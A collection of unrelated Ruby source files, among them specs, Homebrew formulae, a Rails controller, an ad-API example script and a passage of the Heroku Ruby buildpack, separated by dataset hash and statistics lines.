files_for(events, was_index=0) now_files = files_for(events, now_index=0) diff = differ.diff(kata.id, was_files, now_files) actual = traffic_light_tip_html(diff, kata.avatar_index, kata.events, now_index) assert actual.include?("src='/avatar/image/"), actual+':'+actual.class.name+':' end end private def files_for(events, index) events[index].files(:with_output) .map{ |filename,file| [filename, file['content']] } .to_h end def file(content) { 'content' => content, 'truncated' => false } end end
33.701493
133
0.577502
f7d853e28b44f0c9e6cc9cf1aa45b87a6d32a811
3,406
#!/usr/bin/env ruby # Encoding: utf-8 # # Copyright:: Copyright 2011, Google Inc. All Rights Reserved. # # License:: Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or # implied. # See the License for the specific language governing permissions and # limitations under the License. # # This example deactivates all active ad units. To determine which ad units # exist, run get_all_ad_units.rb or get_inventory_tree.rb. require 'dfp_api' def deactivate_ad_units(dfp) # Get the InventoryService. inventory_service = dfp.service(:InventoryService, API_VERSION) # Create statement text to select active ad units. statement = dfp.new_statement_builder do |sb| sb.where = 'status = :status' sb.with_bind_variable('status', 'ACTIVE') end ad_unit_ids = [] page = {:total_result_set_size => 0} begin # Get ad units by statement. page = inventory_service.get_ad_units_by_statement(statement.to_statement()) unless page[:results].nil? page[:results].each_with_index do |ad_unit, index| puts ('%d) Ad unit with ID %d, status "%s", and name "%s" will be ' + 'deactivated.') % [index + statement.offset, ad_unit[:id], ad_unit[:status], ad_unit[:name]] ad_unit_ids << ad_unit[:id] end end # Increase the statement offset by the page size to get the next page. statement.offset += statement.limit end while statement.offset < page[:total_result_set_size] puts 'Number of ad units to be deactivated: %d' % ad_unit_ids.size if !ad_unit_ids.empty? # Modify statement for action. Note, the values are still present. statement.configure do |sb| sb.where = 'status = :status AND id IN (%s)' % ad_unit_ids.join(', ') sb.offset = nil sb.limit = nil end # Perform action. result = inventory_service.perform_ad_unit_action( {:xsi_type => 'DeactivateAdUnits'}, statement.to_statement() ) # Display results. if !result.nil? && result[:num_changes] > 0 puts 'Number of ad units deactivated: %d' % result[:num_changes] else puts 'No ad units were deactivated.' end else puts 'No ad units found to deactivate.' end end if __FILE__ == $0 API_VERSION = :v201711 # Get DfpApi instance and load configuration from ~/dfp_api.yml. dfp = DfpApi::Api.new # To enable logging of SOAP requests, set the log_level value to 'DEBUG' in # the configuration file or provide your own logger: # dfp.logger = Logger.new('dfp_xml.log') begin deactivate_ad_units(dfp) # HTTP errors. rescue AdsCommon::Errors::HttpError => e puts "HTTP Error: %s" % e # API errors. rescue DfpApi::Errors::ApiException => e puts "Message: %s" % e.message puts 'Errors:' e.errors.each_with_index do |error, index| puts "\tError [%d]:" % (index + 1) error.each do |field, value| puts "\t\t%s: %s" % [field, value] end end end end
31.247706
80
0.662948
8785d0c59d348067565436f98815f03ec7efd921
418
# frozen_string_literal: true class ReviewableUserSerializer < ReviewableSerializer attributes :link_admin, :user_fields payload_attributes( :username, :email, :name ) def link_admin scope.is_staff? && object.target.present? end def user_fields object.target.user_fields end def include_user_fields? object.target.present? && object.target.user_fields.present? end end
16.076923
64
0.729665
f89d608678c14e084d84d0df2d69275d9b8e207a
803
TAP_MIGRATIONS = { "aimage" => "homebrew/boneyard", "blackbox" => "homebrew/boneyard", "boost149" => "homebrew/versions", "cmucl" => "homebrew/binary", "colormake" => "homebrew/headonly", "comparepdf" => "homebrew/boneyard", "denyhosts" => "homebrew/boneyard", "drizzle" => "homebrew/boneyard", "grads" => "homebrew/binary", "ipopt" => "homebrew/science", "jscoverage" => "homebrew/boneyard", "jsl" => "homebrew/binary", "kerl" => "homebrew/headonly", "libgtextutils" => "homebrew/science", "librets" => "homebrew/boneyard", "lmutil" => "homebrew/binary", "nlopt" => "homebrew/science", "octave" => "homebrew/science", "opencv" => "homebrew/science", "qfits" => "homebrew/boneyard", "syslog-ng" => "homebrew/boneyard", "wkhtmltopdf" => "homebrew/boneyard", }
32.12
40
0.633873
181111540629bf427b95c4ebe355c7e9277682d1
3,519
require 'forwardable' require 'resource' require 'checksum' require 'version' require 'build_options' require 'dependency_collector' require 'bottles' class SoftwareSpec extend Forwardable attr_reader :name attr_reader :build, :resources, :owner attr_reader :dependency_collector def_delegators :@resource, :stage, :fetch def_delegators :@resource, :download_strategy, :verify_download_integrity def_delegators :@resource, :checksum, :mirrors, :specs, :using, :downloader def_delegators :@resource, :version, :mirror, *Checksum::TYPES def initialize @resource = Resource.new @resources = {} @build = BuildOptions.new(ARGV.options_only) @dependency_collector = DependencyCollector.new end def owner= owner @name = owner.name @resource.owner = self resources.each_value do |r| r.owner = self r.version ||= version end end def url val=nil, specs={} return @resource.url if val.nil? @resource.url(val, specs) dependency_collector.add(@resource) end def resource? name resources.has_key?(name) end def resource name, &block if block_given? raise DuplicateResourceError.new(name) if resource?(name) resources[name] = Resource.new(name, &block) else resources.fetch(name) { raise ResourceMissingError.new(owner, name) } end end def option name, description=nil name = 'c++11' if name == :cxx11 name = name.to_s if Symbol === name raise "Option name is required." if name.empty? raise "Options should not start with dashes." if name[0, 1] == "-" build.add(name, description) end def depends_on spec dep = dependency_collector.add(spec) build.add_dep_option(dep) if dep end def deps dependency_collector.deps end def requirements dependency_collector.requirements end end class HeadSoftwareSpec < SoftwareSpec def initialize super @resource.version = Version.new('HEAD') end def verify_download_integrity fn return end end class Bottle < SoftwareSpec attr_rw :root_url, :prefix, :cellar, :revision attr_accessor :current_tag def_delegators :@resource, :version=, :url= def initialize super @revision = 0 @prefix = '/usr/local' @cellar = '/usr/local/Cellar' @root_url = nil end # Checksum methods in the DSL's bottle block optionally take # a Hash, which indicates the platform the checksum applies on. Checksum::TYPES.each do |cksum| class_eval <<-EOS, __FILE__, __LINE__ + 1 def #{cksum}(val=nil) return @#{cksum} if val.nil? @#{cksum} ||= BottleCollector.new case val when Hash key, value = val.shift @#{cksum}.add(Checksum.new(:#{cksum}, key), value) end cksum, current_tag = @#{cksum}.fetch_bottle_for(bottle_tag) @resource.checksum = cksum if cksum @current_tag = current_tag if cksum end EOS end def checksums checksums = {} Checksum::TYPES.each do |checksum_type| checksum_os_versions = send checksum_type next unless checksum_os_versions os_versions = checksum_os_versions.keys os_versions.map! {|osx| MacOS::Version.from_symbol osx rescue nil }.compact! os_versions.sort.reverse.each do |os_version| osx = os_version.to_sym checksum = checksum_os_versions[osx] checksums[checksum_type] ||= [] checksums[checksum_type] << { checksum => osx } end end checksums end end
25.135714
82
0.677181
01ef2f36369277aecb6484c42ea90db3b82cfbd3
98
# frozen_string_literal: true module PartialUniverseButtonComponent extend ComponentHelper end
16.333333
37
0.867347
1ce2e90b4cbf2cf36dbeddea532d947d00fdbb61
328
# frozen_string_literal: true require 'happymapper' require 'jacoco/model/counter' module Jacoco # Jacoco method model class Method include HappyMapper tag 'method' attribute :name, String attribute :desc, String attribute :line, Integer has_many :counters, Jacoco::Counter, xpath: '.' end end
17.263158
51
0.710366
26c1684999bbd76e1e50015997e024f2c5147aa8
772
class Figgy # The backing object for a {Figgy} instance. class Store def initialize(finder, config) @finder = finder @config = config @cache = {} end # Retrieve the value for a key, expiring the cache and/or loading it # if necessary. # # @raise [Figgy::FileNotFound] if no config file could be found for +name+ def get(key) key = key.to_s @cache.delete(key) if @config.always_reload? if @cache.key?(key) @cache[key] else @cache[key] = @finder.load(key) end end # @return [Array<String>] the list of currently loaded keys def keys @cache.keys end # @return [Integer] the current size of the cache def size @cache.size end end end
22.057143
78
0.59715
62328eea8f30aeb96c166626adf19f81bc8f84ec
670
require_relative 'boot' require 'rails/all' # Require the gems listed in Gemfile, including any gems # you've limited to :test, :development, or :production. Bundler.require(*Rails.groups) module LindaBelcherDancing class Application < Rails::Application # Initialize configuration defaults for originally generated Rails version. config.load_defaults 5.2 # Settings in config/environments/* take precedence over those specified here. # Application configuration can go into files in config/initializers # -- all .rb files in that directory are automatically loaded after loading # the framework and any gems in your application. end end
33.5
82
0.768657
3968649ff7e25fbae92f05e8836e532af7e20157
616
# frozen_string_literal: true # Be sure to restart your server when you modify this file. # Version of your assets, change this if you want to expire all your assets. Rails.application.config.assets.version = "1.0" # Add additional assets to the asset load path. # Rails.application.config.assets.paths << Emoji.images_path Rails.application.config.assets.paths << Rails.root.join("app", "assets", "fonts") # Precompile additional assets. # application.js, application.css, and all non-JS/CSS in the app/assets # folder are already added. # Rails.application.config.assets.precompile += %w( admin.js admin.css )
38.5
82
0.761364
618e9fa39eeb006feb132e9871a108cd98dc04ff
522
require 'rom/schema' RSpec.describe ROM::Schema, '#canonical' do subject(:schema) { define_schema(:users, id: :Integer, name: :String) } it 'returns self by default' do expect(schema.canonical).to be(schema) end it 'returns canonical schema from a projected schema' do expect(schema.project(:id).canonical).to be(schema) end it 'is canonical' do expect(schema).to be_canonical end it 'is not canonical when projected' do expect(schema.project(:id)).to_not be_canonical end end
21.75
58
0.701149
6ab87e1e1019b90df65e5e17a866926868e20cf6
159
desc "This task is called by the Heroku scheduler add-on to sync up NDBNMember records" task :sync_ndbn_members => :environment do SyncNDBNMembers.sync end
26.5
87
0.792453
1df3bfbd137ec26be18e605fa9da8760fc6abeb6
10,165
# frozen_string_literal: true require_relative 'support/test_helper' describe DataStructures::List do subject { DataStructures::List.new } describe '#append' do it do expect(subject.size).must_equal(0) subject.append('1') expect(subject.size).must_equal(1) expect(subject.inspect).must_equal('[1]') subject.append('2') expect(subject.size).must_equal(2) expect(subject.inspect).must_equal('[1, 2]') subject.append('3') expect(subject.size).must_equal(3) expect(subject.inspect).must_equal('[1, 2, 3]') end end describe '#prepend' do it do expect(subject.size).must_equal(0) subject.prepend('1') expect(subject.size).must_equal(1) expect(subject.inspect).must_equal('[1]') subject.prepend('2') expect(subject.size).must_equal(2) expect(subject.inspect).must_equal('[2, 1]') subject.prepend('3') expect(subject.size).must_equal(3) expect(subject.inspect).must_equal('[3, 2, 1]') end end describe '#insert_at' do describe 'when success' do it do expect(subject.size).must_equal(0) subject.insert_at('1', 0) expect(subject.size).must_equal(1) expect(subject.inspect).must_equal('[1]') subject.insert_at('2', 1) expect(subject.size).must_equal(2) expect(subject.inspect).must_equal('[1, 2]') subject.insert_at('3', -1) expect(subject.size).must_equal(3) expect(subject.inspect).must_equal('[1, 3, 2]') subject.insert_at('4', 2) expect(subject.size).must_equal(4) expect(subject.inspect).must_equal('[1, 3, 4, 2]') subject.insert_at('5', -3) expect(subject.size).must_equal(5) expect(subject.inspect).must_equal('[1, 5, 3, 4, 2]') subject.insert_at('6', 4) expect(subject.size).must_equal(6) expect(subject.inspect).must_equal('[1, 5, 3, 4, 6, 2]') subject.insert_at('7', 4) expect(subject.size).must_equal(7) expect(subject.inspect).must_equal('[1, 5, 3, 4, 7, 6, 2]') subject.insert_at('8', 4) expect(subject.size).must_equal(8) expect(subject.inspect).must_equal('[1, 5, 3, 4, 8, 7, 6, 2]') end end describe 'when error' do it do error = expect { subject.insert_at('1', -1) }.must_raise StandardError expect(error.message).must_equal('IndexError') expect { subject.insert_at('1', 1) }.must_raise StandardError end end end describe '#remove_at' do describe 'when success' do it do subject.append('0') expect(subject.size).must_equal(1) expect(subject.remove_at(0)).must_equal('0') expect(subject.inspect).must_equal('[]') expect(subject.size).must_equal(0) subject.append('1') subject.append('2') subject.append('3') subject.append('4') subject.append('5') expect(subject.remove_at(4)).must_equal('5') expect(subject.inspect).must_equal('[1, 2, 3, 4]') expect(subject.size).must_equal(4) expect(subject.remove_at(0)).must_equal('1') expect(subject.inspect).must_equal('[2, 3, 4]') expect(subject.size).must_equal(3) expect(subject.remove_at(-2)).must_equal('3') expect(subject.inspect).must_equal('[2, 4]') expect(subject.size).must_equal(2) subject.insert_at('5', 1) expect(subject.remove_at(1)).must_equal('5') expect(subject.inspect).must_equal('[2, 4]') expect(subject.size).must_equal(2) expect(subject.remove_at(-2)).must_equal('2') expect(subject.inspect).must_equal('[4]') expect(subject.size).must_equal(1) expect(subject.remove_at(-1)).must_equal('4') expect(subject.inspect).must_equal('[]') expect(subject.size).must_equal(0) end end describe 'when error' do it do subject.append('1') error = expect { subject.remove_at(-2) }.must_raise StandardError expect(error.message).must_equal('IndexError') expect { subject.remove_at(1) }.must_raise StandardError end end end describe '#remove' do describe 'when success' do it do subject.append('a') subject.append('b') subject.append('c') subject.append('d') subject.append('e') expect(subject.inspect).must_equal('[a, b, c, d, e]') expect(subject.remove('a')).must_equal('a') expect(subject.inspect).must_equal('[b, c, d, e]') expect(subject.size).must_equal(4) expect(subject.remove('c')).must_equal('c') expect(subject.inspect).must_equal('[b, d, e]') expect(subject.size).must_equal(3) expect(subject.remove('e')).must_equal('e') expect(subject.inspect).must_equal('[b, d]') expect(subject.size).must_equal(2) expect(subject.remove('d')).must_equal('d') expect(subject.inspect).must_equal('[b]') expect(subject.size).must_equal(1) expect(subject.remove('b')).must_equal('b') expect(subject.inspect).must_equal('[]') expect(subject.size).must_equal(0) end end describe 'when error' do it do expect { subject.remove('z') }.must_raise StandardError subject.append('a') error = expect { subject.remove('z') }.must_raise StandardError expect(error.message).must_equal('ElementNotFound') end end end describe '#clean' do it do subject.append('1') subject.append('2') subject.append('3') expect(subject.inspect).must_equal('[1, 2, 3]') subject.clean expect(subject.size).must_equal(0) expect(subject.inspect).must_equal('[]') end end describe '#include?' do it do subject.append('a') subject.append('b') subject.append('c') subject.append('d') subject.append('e') subject.append('d') expect(subject.include?('a')).must_equal(true) expect(subject.include?('d')).must_equal(true) expect(subject.include?('e')).must_equal(true) expect(subject.include?('x')).must_equal(false) end end describe '#first' do it do expect(subject.first).must_be_nil subject.append('1') subject.append('2') subject.append('3') expect(subject.first).must_equal('1') subject.prepend('0') expect(subject.first).must_equal('0') end end describe '#last' do it do expect(subject.last).must_be_nil subject.append('1') subject.append('2') subject.append('3') expect(subject.last).must_equal('3') subject.append('4') expect(subject.last).must_equal('4') end end describe '#index_at' do it do expect(subject.index_at('z')).must_be_nil subject.append('a') subject.append('b') subject.append('c') subject.append('d') subject.append('e') subject.append('d') expect(subject.index_at('a')).must_equal(0) expect(subject.index_at('b')).must_equal(1) expect(subject.index_at('c')).must_equal(2) expect(subject.index_at('d')).must_equal(3) expect(subject.index_at('e')).must_equal(4) expect(subject.index_at('x')).must_be_nil end end describe '#get' do it do subject.append('1') subject.append('2') subject.append('3') subject.append('4') subject.append('5') expect(subject.get(-5)).must_equal('1') expect(subject.get(-4)).must_equal('2') expect(subject.get(-3)).must_equal('3') expect(subject.get(-2)).must_equal('4') expect(subject.get(-1)).must_equal('5') expect(subject.get(0)).must_equal('1') expect(subject.get(1)).must_equal('2') expect(subject.get(2)).must_equal('3') expect(subject.get(3)).must_equal('4') expect(subject.get(4)).must_equal('5') error = expect { subject.get(-6) }.must_raise StandardError expect(error.message).must_equal('IndexError') expect { subject.get(5) }.must_raise StandardError end end describe '#set' do it do subject.append('1') subject.append('2') subject.append('3') subject.append('4') subject.append('5') subject.append('6') expect(subject.set('a', -6)).must_equal('a') expect(subject.set('b', -5)).must_equal('b') expect(subject.set('c', -4)).must_equal('c') expect(subject.set('d', -3)).must_equal('d') expect(subject.set('e', -2)).must_equal('e') expect(subject.set('f', -1)).must_equal('f') expect(subject.set('a', 0)).must_equal('a') expect(subject.set('b', 1)).must_equal('b') expect(subject.set('c', 2)).must_equal('c') expect(subject.set('d', 3)).must_equal('d') expect(subject.set('f', 4)).must_equal('f') expect(subject.set('g', 5)).must_equal('g') error = expect { subject.set('h', -7) }.must_raise StandardError expect(error.message).must_equal('IndexError') expect { subject.set('h', 6) }.must_raise StandardError end end describe '#revert' do it do subject.revert expect(subject.inspect).must_equal('[]') subject.append('1') subject.revert expect(subject.inspect).must_equal('[1]') subject.append('2') subject.append('3') subject.append('4') expect(subject.inspect).must_equal('[1, 2, 3, 4]') subject.revert expect(subject.inspect).must_equal('[4, 3, 2, 1]') subject.append('5') expect(subject.inspect).must_equal('[4, 3, 2, 1, 5]') subject.revert expect(subject.inspect).must_equal('[5, 1, 2, 3, 4]') end end describe '#size' do it do expect(subject.size).must_equal(0) subject.append('1') expect(subject.size).must_equal(1) subject.remove_at(0) expect(subject.size).must_equal(0) end end describe '#empty?' do it do expect(subject.empty?).must_equal(true) subject.append('1') expect(subject.empty?).must_equal(false) end end end
29.042857
78
0.603345
2632e0c221d8354c29efec9b98879500eccb4f83
473
# encoding: utf-8 require 'helper' class TestFakerNamePH < Test::Unit::TestCase PH_REGEXP = /\A([\wñÑú-]+\.? ?){2,5}\z/ def setup @tester = FFaker::NamePH end def test_name assert_match(PH_REGEXP, @tester.name) end def test_last_name assert_match(PH_REGEXP, @tester.last_name) end def test_first_name assert_match(PH_REGEXP, @tester.first_name) end def test_prefix assert_match(/\A[A-Z][a-z]+\.?\z/, @tester.prefix) end end
16.892857
54
0.67019
d523b09a882313d2820eb6794988810c6c314580
847
require File.expand_path('../../../spec_helper', __FILE__) require File.expand_path('../fixtures/classes', __FILE__) describe "IO#ioctl" do it "raises IOError on closed stream" do lambda { IOSpecs.closed_io.ioctl(5, 5) }.should raise_error(IOError) end platform_is :os => :linux do it "resizes an empty String to match the output size" do File.open(__FILE__, 'r') do |f| buffer = '' # FIONREAD in /usr/include/asm-generic/ioctls.h f.ioctl 0x541B, buffer buffer.unpack('I').first.should be_kind_of(Integer) end end it "raises an Errno error when ioctl fails" do File.open(__FILE__, 'r') do |f| lambda { # TIOCGWINSZ in /usr/include/asm-generic/ioctls.h f.ioctl 0x5413, nil }.should raise_error(Errno::ENOTTY) end end end end
29.206897
72
0.635183
87d94a69f53d9b8e1ebfab3f1cfc8551d9a29380
2,896
class ProjectsController < ApplicationController before_filter :authenticate_user! # GET /projects # GET /projects.json def index @projects = Project.all respond_to do |format| format.html # index.html.erb format.json { render json: @projects } end end # GET /projects/1 # GET /projects/1.json def show @project = Project.find(params[:id]) respond_to do |format| format.html # index.html.erb format.json { render json: @projects } end end # GET /projects/new # GET /projects/new.json def new @project = Project.new respond_to do |format| format.html # new.html.erb format.json { render json: @entity_mapping } end end # GET /projects/1/edit def edit @project = Project.find(params[:id]) end # POST /projects # POST /projects def create @project = Project.new({ :tenant => Tenant.current}.merge(params[:project])) respond_to do |format| if @project.save # Set a cookie so it's activated cookies.permanent[:project] = @project.name Project.current = @project # Create an initial search string e = Entities::SearchString.create(:name => @project.name) # Let the user know flash[:notice] = "Project created and activated!" # Respond format.html { redirect_to entities_path, notice: 'Project was successfully created.' } format.json { render json: @project, status: :created, location: @project } else format.html { render action: "new", notice: "Unable to save project." } format.json { render json: @project.errors, status: :unprocessable_entity } end end end # PUT /projects/1 # PUT /projects/1.json def update @project = Project.find(params[:id]) respond_to do |format| if @project.update_attributes(params[:project]) format.html { redirect_to project_path(@project), notice: 'Project was successfully updated.' } format.json { head :ok } else format.html { render action: "show" } format.json { render json: @project.errors, status: :unprocessable_entity } end end end def activate @project = Project.find(params[:id]) # Destroy all associated entites cookies.permanent[:project] = @project.name respond_to do |format| format.html { redirect_to projects_url } format.json { head :ok } end end # DELETE /projects/1 # DELETE /projects/1.json def destroy @project = Project.find(params[:id]) # Destroy all associated entites @project_entities = Entities::Base.all.each { |entity| entity.destroy } # Destroy the project @project.destroy respond_to do |format| format.html { redirect_to projects_url } format.json { head :ok } end end end
23.933884
103
0.631215
08b1686ed272c9be5bbb1a7a91c9c78e8073dcd6
2,138
class Cvsync < Formula desc "Portable CVS repository synchronization utility" homepage "https://www.cvsync.org/" url "https://www.cvsync.org/dist/cvsync-0.24.19.tar.gz" sha256 "75d99fc387612cb47141de4d59cb3ba1d2965157230f10015fbaa3a1c3b27560" license "BSD-3-Clause" livecheck do url :homepage regex(/href=.*?cvsync[._-]v?(\d+(?:\.\d+)+)\.t/i) end bottle do rebuild 2 sha256 cellar: :any, arm64_monterey: "9ee4057c81aa9063514f81c3fc00ed20805f242f690693c800377fbd163b0fa0" sha256 cellar: :any, arm64_big_sur: "7dd613fd76d65b1e25ca4a75c9828173b74351a441b69a59ba9f49fc9b8497a6" sha256 cellar: :any, monterey: "b82e0615b8b97d12b8ac155b0512b67e922dfe2eb9646a54f18787869d401683" sha256 cellar: :any, big_sur: "2af52706862f05ef89344f0f18bd95948c675e489912ae90840c7b010720ed9c" sha256 cellar: :any, catalina: "da10e78630bf61ac77576e3f10033730bf335e24324681f32c973cd9a2d645be" sha256 cellar: :any, mojave: "1a7f82970b208df4bafed99ce20de7f4d94be51f79152ad75c85fb69ecaff51e" sha256 cellar: :any, high_sierra: "1ea4fcb1bcb64f91915919e485b374eb2e16b69fb60f589242c3a140d3c16c7f" sha256 cellar: :any, sierra: "4e92dd3b6a74831724c2da74f761660fa25630d9c44be9d80a0d72dc522e1fae" end depends_on "[email protected]" uses_from_macos "zlib" def install ENV["PREFIX"] = prefix ENV["MANDIR"] = man ENV["CVSYNC_DEFAULT_CONFIG"] = etc/"cvsync.conf" ENV["CVSYNCD_DEFAULT_CONFIG"] = etc/"cvsyncd.conf" ENV["HASH_TYPE"] = "openssl" # Makefile from 2005 assumes Darwin doesn't define `socklen_t' and defines # it with a CC macro parameter making gcc unhappy about double define. inreplace "mk/network.mk", /^CFLAGS \+= -Dsocklen_t=int/, "" # Remove owner and group parameters from install. inreplace "mk/base.mk", /^INSTALL_(.{3})_OPTS\?=.*/, 'INSTALL_\1_OPTS?= -c -m ${\1MODE}' # These paths must exist or "make install" fails. bin.mkpath lib.mkpath man1.mkpath system "make", "install" end test do assert_match version.to_s, shell_output("#{bin}/cvsync -h 2>&1", 1) end end
37.508772
107
0.724509
33172e159a2cb104543818a2829cc9633a8a0ae5
45,738
require "tmpdir" require "digest/md5" require "benchmark" require "rubygems" require "language_pack" require "language_pack/base" require "language_pack/ruby_version" require "language_pack/helpers/nodebin" require "language_pack/helpers/node_installer" require "language_pack/helpers/yarn_installer" require "language_pack/helpers/layer" require "language_pack/helpers/binstub_check" require "language_pack/version" # base Ruby Language Pack. This is for any base ruby app. class LanguagePack::Ruby < LanguagePack::Base NAME = "ruby" LIBYAML_VERSION = "0.1.7" LIBYAML_PATH = "libyaml-#{LIBYAML_VERSION}" RBX_BASE_URL = "http://binaries.rubini.us/heroku" NODE_BP_PATH = "vendor/node/bin" Layer = LanguagePack::Helpers::Layer # detects if this is a valid Ruby app # @return [Boolean] true if it's a Ruby app def self.use? File.exist?("Gemfile") end def self.bundler @@bundler ||= LanguagePack::Helpers::BundlerWrapper.new.install end def bundler self.class.bundler end def initialize(*args) super(*args) @fetchers[:mri] = LanguagePack::Fetcher.new(VENDOR_URL, @stack) @fetchers[:rbx] = LanguagePack::Fetcher.new(RBX_BASE_URL, @stack) @node_installer = LanguagePack::Helpers::NodeInstaller.new @yarn_installer = LanguagePack::Helpers::YarnInstaller.new end def name "Ruby" end def default_addons add_dev_database_addon end def default_config_vars vars = { "LANG" => env("LANG") || "en_US.UTF-8", } ruby_version.jruby? ? vars.merge({ "JRUBY_OPTS" => default_jruby_opts }) : vars end def default_process_types { "rake" => "bundle exec rake", "console" => "bundle exec irb" } end def best_practice_warnings if bundler.has_gem?("asset_sync") warn(<<-WARNING) You are using the `asset_sync` gem. This is not recommended. See https://devcenter.heroku.com/articles/please-do-not-use-asset-sync for more information. WARNING end end def compile # check for new app at the beginning of the compile new_app? Dir.chdir(build_path) remove_vendor_bundle warn_bundler_upgrade warn_bad_binstubs install_ruby(slug_vendor_ruby, build_ruby_path) setup_language_pack_environment( ruby_layer_path: File.expand_path("."), gem_layer_path: File.expand_path("."), bundle_path: "vendor/bundle", bundle_default_without: "development:test" ) allow_git do install_bundler_in_app(slug_vendor_base) load_bundler_cache build_bundler post_bundler create_database_yml install_binaries run_assets_precompile_rake_task end config_detect best_practice_warnings warn_outdated_ruby setup_profiled(ruby_layer_path: "$HOME", gem_layer_path: "$HOME") # $HOME is set to /app at run time setup_export cleanup super rescue => e warn_outdated_ruby raise e end def build new_app? remove_vendor_bundle warn_bad_binstubs ruby_layer = Layer.new(@layer_dir, "ruby", launch: true) install_ruby("#{ruby_layer.path}/#{slug_vendor_ruby}") ruby_layer.metadata[:version] = ruby_version.version ruby_layer.metadata[:patchlevel] = ruby_version.patchlevel if ruby_version.patchlevel ruby_layer.metadata[:engine] = ruby_version.engine.to_s ruby_layer.metadata[:engine_version] = ruby_version.engine_version ruby_layer.write gem_layer = Layer.new(@layer_dir, "gems", launch: true, cache: true, build: true) setup_language_pack_environment( ruby_layer_path: ruby_layer.path, gem_layer_path: gem_layer.path, bundle_path: "#{gem_layer.path}/vendor/bundle", bundle_default_without: "development:test" ) allow_git do # TODO install bundler in separate layer topic "Loading Bundler Cache" gem_layer.validate! do |metadata| valid_bundler_cache?(gem_layer.path, gem_layer.metadata) end install_bundler_in_app("#{gem_layer.path}/#{slug_vendor_base}") build_bundler # TODO post_bundler might need to be done in a new layer bundler.clean gem_layer.metadata[:gems] = Digest::SHA2.hexdigest(File.read("Gemfile.lock")) gem_layer.metadata[:stack] = @stack gem_layer.metadata[:ruby_version] = run_stdout(%q(ruby -v)).strip gem_layer.metadata[:rubygems_version] = run_stdout(%q(gem -v)).strip gem_layer.metadata[:buildpack_version] = BUILDPACK_VERSION gem_layer.write create_database_yml # TODO replace this with multibuildpack stuff? put binaries in their own layer? install_binaries run_assets_precompile_rake_task end setup_profiled(ruby_layer_path: ruby_layer.path, gem_layer_path: gem_layer.path) setup_export(gem_layer) config_detect best_practice_warnings cleanup super end def cleanup end def config_detect end private # A bad shebang line looks like this: # # ``` # #!/usr/bin/env ruby2.5 # ``` # # Since `ruby2.5` is not a valid binary name # def warn_bad_binstubs check = LanguagePack::Helpers::BinstubCheck.new(app_root_dir: Dir.pwd, warn_object: self) check.call end def default_malloc_arena_max? return true if @metadata.exists?("default_malloc_arena_max") return @metadata.touch("default_malloc_arena_max") if new_app? return false end def warn_bundler_upgrade old_bundler_version = @metadata.read("bundler_version").strip if @metadata.exists?("bundler_version") if old_bundler_version && old_bundler_version != bundler.version warn(<<-WARNING, inline: true) Your app was upgraded to bundler #{ bundler.version }. Previously you had a successful deploy with bundler #{ old_bundler_version }. If you see problems related to the bundler version please refer to: https://devcenter.heroku.com/articles/bundler-version#known-upgrade-issues WARNING end end # For example "vendor/bundle/ruby/2.6.0" def self.slug_vendor_base @slug_vendor_base ||= begin command = %q(ruby -e "require 'rbconfig';puts \"vendor/bundle/#{RUBY_ENGINE}/#{RbConfig::CONFIG['ruby_version']}\"") out = run_no_pipe(command, user_env: true).strip error "Problem detecting bundler vendor directory: #{out}" unless $?.success? out end end # the relative path to the bundler directory of gems # @return [String] resulting path def slug_vendor_base @slug_vendor_base ||= self.class.slug_vendor_base end # the relative path to the vendored ruby directory # @return [String] resulting path def slug_vendor_ruby "vendor/#{ruby_version.version_without_patchlevel}" end # the absolute path of the build ruby to use during the buildpack # @return [String] resulting path def build_ruby_path "/tmp/#{ruby_version.version_without_patchlevel}" end # fetch the ruby version from bundler # @return [String, nil] returns the ruby version if detected or nil if none is detected def ruby_version return @ruby_version if @ruby_version new_app = !File.exist?("vendor/heroku") last_version_file = "buildpack_ruby_version" last_version = nil last_version = @metadata.read(last_version_file).strip if @metadata.exists?(last_version_file) @ruby_version = LanguagePack::RubyVersion.new(bundler.ruby_version, is_new: new_app, last_version: last_version) return @ruby_version end def set_default_web_concurrency <<-EOF case $(ulimit -u) in 256) export HEROKU_RAM_LIMIT_MB=${HEROKU_RAM_LIMIT_MB:-512} export WEB_CONCURRENCY=${WEB_CONCURRENCY:-2} ;; 512) export HEROKU_RAM_LIMIT_MB=${HEROKU_RAM_LIMIT_MB:-1024} export WEB_CONCURRENCY=${WEB_CONCURRENCY:-4} ;; 16384) export HEROKU_RAM_LIMIT_MB=${HEROKU_RAM_LIMIT_MB:-2560} export WEB_CONCURRENCY=${WEB_CONCURRENCY:-8} ;; 32768) export HEROKU_RAM_LIMIT_MB=${HEROKU_RAM_LIMIT_MB:-6144} export WEB_CONCURRENCY=${WEB_CONCURRENCY:-16} ;; *) ;; esac EOF end # default JRUBY_OPTS # return [String] string of JRUBY_OPTS def default_jruby_opts "-Xcompile.invokedynamic=false" end # sets up the environment variables for the build process def setup_language_pack_environment(ruby_layer_path:, gem_layer_path:, bundle_path:, bundle_default_without:) if ruby_version.jruby? ENV["PATH"] += ":bin" ENV["JRUBY_OPTS"] = env('JRUBY_BUILD_OPTS') || env('JRUBY_OPTS') end setup_ruby_install_env(ruby_layer_path) # By default Node can address 1.5GB of memory, a limitation it inherits from # the underlying v8 engine. This can occasionally cause issues during frontend # builds where memory use can exceed this threshold. # # This passes an argument to all Node processes during the build, so that they # can take advantage of all available memory on the build dynos. ENV["NODE_OPTIONS"] ||= "--max_old_space_size=2560" # TODO when buildpack-env-args rolls out, we can get rid of # ||= and the manual setting below default_config_vars.each do |key, value| ENV[key] ||= value end paths = [] gem_path = "#{gem_layer_path}/#{slug_vendor_base}" ENV["GEM_PATH"] = gem_path ENV["GEM_HOME"] = gem_path ENV["DISABLE_SPRING"] = "1" # Rails has a binstub for yarn that doesn't work for all applications # we need to ensure that yarn comes before local bin dir for that case paths << yarn_preinstall_bin_path if yarn_preinstalled? # Need to remove `./bin` folder since it links to the wrong --prefix ruby binstubs breaking require in Ruby 1.9.2 and 1.8.7. # Because for 1.9.2 and 1.8.7 there is a "build" ruby and a non-"build" Ruby paths << "#{File.expand_path(".")}/bin" unless ruby_version.ruby_192_or_lower? paths << "#{gem_layer_path}/#{bundler_binstubs_path}" # Binstubs from bundler, eg. vendor/bundle/bin paths << "#{gem_layer_path}/#{slug_vendor_base}/bin" # Binstubs from rubygems, eg. 